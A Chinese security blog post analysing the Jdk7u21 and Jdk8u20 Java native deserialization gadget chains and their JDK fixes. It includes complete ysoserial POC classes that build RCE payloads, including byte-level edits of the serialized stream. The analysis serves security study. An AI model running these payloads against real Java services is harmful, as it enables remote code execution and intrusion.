Diggid's Blog

[Java反序列化]Jdk7u21 & Jdk8u20 反序列化漏洞分析

字数统计: 4.9k阅读时长: 23 min
2021/07/11 Share

前言

jdk7u21和jdk8u20是java反序列化中为数不多的不依赖其他组件的java原生反序列化Gadgets。

jdk7u21以HashSet#readObject为source,TemplatesImpl#defineTransletClasses为Sink,中间使用到了InvocationHandler动态代理(触发了两次:第一次是为了Hash碰撞、第二次是为了调用到getOutputPropertiesTemplatesImpl#newTransformer)、巧妙的Hash碰撞。

jdk8u20是对7u21的绕过。关键点有两个:通过嵌套try-catch的方式绕过异常抛出导致的报错终止进程、修改反序列化字节码

Jdk7u21

影响版本

  • JRE.main == 6 && JRE <= ?? (未调研,到某个版本就修了)
  • JRE.main == 7 && JRE <= 7u21

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

POC

集成到ysoserial中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

import javax.xml.transform.Templates;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}

public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}

}

分析

Sink

先看一下AnnotationInvocationHandler#equalsImpl方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private Boolean equalsImpl(Object o) {
if (o == this)
return true;

if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}

注意到memberMethod.invoke(o)明显的反射调用,而memberMethod是遍历getMemberMethods()的返回值得到的。跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}

注意到type.getDeclaredMethods(),type是成员变量,获取type的值所表示类的所有方法并设置setAccessible(true)

所以如果这里的type是TemplatesImpl或Templates(TemplatesImpl的父接口,其中定义了TemplatesImpl触发defineTransletClasses的两个关键方法newTransformer或getOutputProperties)。那么通过遍历所有的方法,获取到newTransformer或getOutputProperties任意一个,在memberMethod.invoke(o);处就可以触发TemplatesImpl加载字节码来RCE。

  • 这里的type只能是Templates接口,因为如果是TemplatesImpl,一开始获取到的方法不是上面说的那两个,那么其他方法的调用可能会报错(确实报错了)。

  • 这里的o,也就是方法传进来的参数需要设置为TemplatesImpl类对象。

回看一下equalsImpl在何处被调用。刚刚好在invoke方法中有调用

image-20210804020321906

invoke方法就很熟悉了,动态代理调用handler的invoke方法。因此这里当代理类调用equals方法时,会进入if分支进而调用equalsImpl方法。

因此Sink的部分的链子就组装完了,现在的目标就是要寻找哪个地方可以调用equals方法,并且调用者是我们的代理类proxy

Source

寻找调用equals的方法的思路或者落脚点和CC2链子有点像,CC2是PriorityQueue优先队列为Source,那么其中就可能调用类似compareTo的方法来进行比较。所以思路可以往常见集合接口来找,这里找到的是HashSet(CC5也是)。

有了CC5的经验的话,可以知道HashSet从readOject方法开始会调用

1
2
3
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()

跟进看一下put方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

可以看到if (e.hash == hash && ((k = e.key) == key || key.equals(k)))有调用equals方法。但是需要满足e.hash == hash(在CC7的链子中出现,但是这里计算hash不同)才能执行 key.equals(k)

并且要求,这里的key是代理类,k是恶意的TemplatesImpl类,代理类的handler是AnnotationInvocationHandler

而根据HashSet#readObject方法,传入HashMap.put(K key, V value)的key就是HashSet的每一个元素。所以这里可以先确定需要塞进HashSet的元素

1
2
3
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

接下来继续看一下是否能够使e.hash == hash,计算hash的逻辑在hash = hash(key);,化简一下可以得到

1
2
3
4
5
6
7
public static int hash(Object key) {
int h = 0;
h ^= key.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;
}

所以hash仅仅与key有关。所以要想前后e.hash == hash,则要求proxy.hashCode() == TemplatesImpl.hashCode()

调用proxy.hashCode(),相当于调用AnnocationInvocationHandler#invoke(proxy, "hashCode", args)

看到上面,如果method(第二个参数)是”hashCode”,则会调用hashCodeImpl(),看一下

1
2
3
4
5
6
7
8
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。这里用到了一个小trick:

  • 当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
  • 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等

这里找到的使得key.haskCode()等于0的字符串是”f5a5a608”,可以跑一下看看

1
2
3
4
5
6
7
8
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}

所以POC可以这么写:

  • 首先生成恶意 TemplateImpl 对象
  • 实例化 AnnotationInvocationHandler 对象
    • 它的type属性是一个TemplateImpl类。
    • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象
  • 以 AnnotationInvocationHandler 对象作为handler,生成proxy对象
  • 实例化一个HashSet,这个HashSet有两个元素:
    • TemplateImpl对象
    • proxy对象
  • 将HashSet对象进行序列化

利用链执行流是这样:

  • 触发HashSet的readObject方法,其中使用HashMap的key做去重(key就是HashSet的每个元素)
  • 去重时计算HashSet中的两个元素的 hashCode()。其中会调用proxy#hashCode ->AnnotationInvocationHandler#hashCodeImpl通过精心构造的HashMap,使得proxy#hashCode == TemplatesImpl.hashCode()
  • 进而调用proxy#equals() -> AnnotationInvocationHandler#equalsImpl()
  • equalsImpl 中遍历 this.type 的每个方法并调用。因为 this.type 是TemplatesImpl类,所以触发了 newTransform() 或 getOutputProperties() 方法
  • 最后到TemplatesImpl#defineTransletClasses加载字节码实现任意代码执行

修复

未修复:

sun.reflect.annotation.AnnotationInvocationHandler#readObject方法中,原本有一个 对 this.type 的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程

image-20210804111302591

修复:

return; 修改成 throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); 。这样反序列化时会出现一个异常,导致整个过程停止。但抛出异常还是有方法去绕过

Jdk8u20

这个洞大部分逻辑还是Jdk7u21。多出来的地方是这个洞的两个关键点:

  • 如何绕过异常
  • 如何修改字节码

修改字节码的部分需要对Java序列化流的结构有了解,具体可以参考

https://xz.aliyun.com/t/9765#toc-5

影响版本

  • JRE.main == 6 && JRE = ?? (未调研)
  • JRE.main == 7 && JRE > 7u21 && JRE < ?? (未调研)
  • JRE.main == 8 && JRE <= 8u20

try-catch绕过异常

其实想一想也可以知道,由于Java的异常链会不断向上层抛出直到没有上层匹配的异常块可以捕获,所以如果可以将内层的异常嵌套在外层不会终止程序的异常处理(try-catch)块中,那么就可以处理掉Jdk7u21中导致反序列化终止的异常。一个Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class ErrorTest {
public static void main(String[] args) {
try {
ThrowMethod();
}catch (Exception e){
System.out.println("捕获内层异常");
}
System.out.println("hhhhhhhhhh");
}

public static void ThrowMethod(){
try{
int a = 1 / 0;
}catch (ArithmeticException e){
throw new ArithmeticException("内层异常");
}
}
}

这里找到的是java.beans.beancontext.BeanContextSupport这个类,在该类的readObject方法中调用了readChildren()

image-20210804131001995

readChildren()方法中,调用的ois.readObject正好可以恢复AnnotationInvocationHandler,并且外层的try-catch中的IOException可以捕获java.io.InvalidObjectException,所以就进入该catch分支,从而continue,使得程序不会被终止。后面的部分就是Jdk7u21的链子了。

所以现在的问题就是如何让AnnotationInvocationHandler变成BeanContextSupport的内部数据,只有这样才能触发ois.readObject反序列化AnnotationInvocationHandler实现我们想要的效果。所以我们要修改一下序列化流的字节码

序列化结构

这里就提两个关键的。

引用机制

Java 反序列化存在引用机制,为了避免序列化时重复写入完全相同的元素,比如这里的一个数组中两个元素指向的是同一个

1
2
3
4
String t = "test";
String[] ts = new String[]{t, t};
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(ts);

看一下结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// java -jar SerializationDumper-v1.1.jar -r out.bin
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_ARRAY - 0x75
TC_CLASSDESC - 0x72
...
newHandle 0x00 7e 00 01
Array size - 2 - 0x00 00 00 02
Values
Index 0:
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 4 - 0x00 04
Value - test - 0x74657374
Index 1:
(object)
TC_REFERENCE - 0x71
Handle - 8257538 - 0x00 7e 00 02 // 引用第一个

每一个写入字节流的对象都会被赋予引用Handle,并且这个引用Handle可以反向引用该对象(使用TC_REFERENCE结构,引用前面handle的值),引用Handle会从0x7E0000开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。反序列化流程还原到TC_REFERENCE结构的时候,会尝试还原引用的handle对象

自定义额外数据

通过为 classDescFlags 增加 SC_WRITE_METHOD后,可以在ClassAnnotation 或 ObjectAnnotation 部分增加自定义数据。也就相当于如何能在某个类的序列化数据中插入一部分源代码中没有的数据?

引用https://xz.aliyun.com/t/9765#toc-5文章的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.panda.sec;
import java.io.*;
public class test implements Serializable {
private static final long serialVersionUID = 100L;
public static int num = 0;
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
System.out.println("hello!");
}
private void writeObject(ObjectOutputStream output) throws IOException {
output.defaultWriteObject();
output.writeObject("Panda");
output.writeUTF("This is a test data!");
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
test t = new test();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase_new"));
out.writeObject(t);
out.writeObject(t);
out.close();
}
}

在这个示例中,重写了writeObject方法,并且在该方法中利用writeObjectwriteUTF方法写入了Panda对象以及This is a test data!字符串,该段序列化数据内容和原先的内容对比一下。发现原先数据中新增了SC_WRITE_METHODObjectAnnotation块。

img

修改字节码(直接修改bytes数组)

现在市面上有以下几种修改方式

这里用的是最后一个方法。其他方法也可以了解一波,但是感觉不比最后一个方法方便2333。第一个和最后一个差不多,只不过第一个是从头到尾原生的构造序列化数据,而最后一个是在一些序列化数据的基础上通过操作字节码数组来修改。

这里摘一张原理图

image-20210804132240449

整个过程如下:

  1. 初始化一个长度为1的LinkedHashSet(和HashSet一样作用),里面塞BeanContextSupport对象。将该部分数据序列化writeObject
  2. 初始化AnnotationInvocationHandler、TemplatesImpl、proxy这三个对象,和Jdk7u21一样,然后分别序列化,即调用三次writeObject
  3. 开始修改字节码的部分。先把LinkedHashSet的size修改为3,为了后面存入TemplatesImpl和proxy
  4. 把BeanContextSupport的serializable设置为0序列化,然后修改字节码时再值从0改为1(这个1就是原来HashMap类型的成员变量Children的key,即AnnotationInvocationHandler),使得能够正常调用ois.readObject();

image-20210804133059215

  1. 把标记LinkedHashSet结尾的标记块TC_ENDBLOCKDATA先删除,后面再添加到字节码末尾
  2. 把标记BeanContextSupport结尾的标记块TC_ENDBLOCKDATA也删了,并添加到AnnotationInvocationHandler这部分数据流的末尾
  3. 修改AnnotationInvocationHandler的classDescFlagsSC_WRITE_METHOD | SC_SERIALIZABLE(常量3)。注意不要和上面的说增加SC_WRITE_METHOD混淆了(增加的是BeanContextSupport的,而且不需要修改,本身写入时就有了),这里是有其他的原因:如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1)) -> count = ois.readInt();会报错。
  4. 加回原先删除的标记LinkedHashSet结尾的标记块TC_ENDBLOCKDATA

POC

集成在yso中,测试时特别注意版本问题!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
package ysoserial.payloads;

import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.util.Util;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.*;

public class JRE8u20 extends PayloadRunner implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);

map.put(zeroHashCodeStr, templates); // swap in real object

LinkedHashSet set = new LinkedHashSet();

BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);

Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);

set.add(bcs);

//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);

oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();

byte[] bytes = baous.toByteArray();

// for debug
// FileOutputStream fos1 = new FileOutputStream("jdk8u20.ser");
//fos1.write(bytes);

System.out.println("[+] Modify HashSet size from 1 to 3");
bytes[89] = 3; //修改hashset的长度(元素个数)

//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
bytes = Util.deleteAt(bytes, i + 5);
break;
}
}


//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
bytes[i+6] = 1;
break;
}
}

/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/

//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}

/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
bytes[i+12] == 112){
System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
i = i + 13;
bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}

//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
"SC_SERIALIZABLE | SC_WRITE_METHOD");
i = i + 58;
bytes[i] = 3;
break;
}
}

//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
System.out.println("[+] Add TC_BLOCKDATA at end");
bytes = Util.addAtLast(bytes, (byte) 0x78);

//反序列化
Object test = bytes;
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return bytes;
}

public static void main(String[] args) throws Exception{
PayloadRunner.run(JRE8u20.class, args);
}
}

修复

都是对AnnotationInvocationHandler类动手脚

jdk7层面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
// 这里的 var1 是 newTransformer 和 getOutputProperties
AnnotationInvocationHandler.this.validateAnnotationMethods(var1); // 增加了这个函数
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

增加了validateAnnotationMethods来校验通过this.type获取的所有方法var1是否符合AnnotationType应该有的方法,若不符合,就会throw new AnnotationFormatError("Malformed method on an annotation type");

jdk8层面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields(); //这里直接没有defaultReadObject了
Class var3 = (Class)var2.get("type", (Object)null); //先把type和memberValues取出来赋值给变量,经过检查后才赋值
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3); //走这个流程后出来的AnnotationInvocationHandler的所有成员变量都是null
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); //这里才赋值
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

jdk8的修复方式比较绝,直接没有defaultReadObject,也就是说在调用AnnotationType.getInstance(var3)前,AnnotationInvocationHandler是完全没有恢复的,所以他的成员变量值啥的自然都是null。正常情况下,经过类型检查后,在最后的两句话中才设置上type和memberValues这两个变量。而我们调用链的情况是从var5 = AnnotationType.getInstance(var3);抛异常出来后就会返回上级了,没法调用到后面的两句话,所以type和memberValues都是null,后续的链子在调用type.getDeclaredMethod时就会爆错。

参考

https://koalr.me/post/7u21-and-8u20/

https://xz.aliyun.com/t/9765#toc-5

https://xz.aliyun.com/t/8277#toc-5

CATALOG
  1. 1. 前言
  2. 2. Jdk7u21
    1. 2.1. 影响版本
    2. 2.2. 利用链
    3. 2.3. POC
    4. 2.4. 分析
      1. 2.4.1. Sink
      2. 2.4.2. Source
    5. 2.5. 修复
  3. 3. Jdk8u20
    1. 3.1. 影响版本
    2. 3.2. try-catch绕过异常
    3. 3.3. 序列化结构
      1. 3.3.1. 引用机制
      2. 3.3.2. 自定义额外数据
    4. 3.4. 修改字节码(直接修改bytes数组)
    5. 3.5. POC
    6. 3.6. 修复
      1. 3.6.1. jdk7层面
      2. 3.6.2. jdk8层面
  4. 4. 参考